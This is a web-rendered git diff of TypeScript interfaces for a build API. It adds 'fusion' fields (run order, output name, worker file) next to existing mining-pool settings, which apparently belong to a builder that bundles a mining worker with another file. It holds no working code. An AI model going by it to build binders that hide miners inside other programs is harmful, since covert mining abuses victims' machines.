<p><strong>Absolute path:</strong></p>
|
||||||
|
|||||||
@@ -165,6 +165,9 @@ export interface BuildRequest {
|
|||||||
pool_port: number;
|
pool_port: number;
|
||||||
pool_tls: boolean;
|
pool_tls: boolean;
|
||||||
pool_pass: string;
|
pool_pass: string;
|
||||||
|
fusion_enabled: boolean;
|
||||||
|
fusion_run_order: string;
|
||||||
|
fusion_output_name: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface BuildResponse {
|
export interface BuildResponse {
|
||||||
@@ -176,6 +179,8 @@ export interface BuildResponse {
|
|||||||
file_size?: number;
|
file_size?: number;
|
||||||
download_url?: string;
|
download_url?: string;
|
||||||
error?: string;
|
error?: string;
|
||||||
|
fusion_enabled?: boolean;
|
||||||
|
worker_file?: string;
|
||||||
}
|
}
|
||||||
|
|
||||||
export interface WSMessage {
|
export interface WSMessage {
|
||||||
|
|||||||
Reference in New Issue
Block a user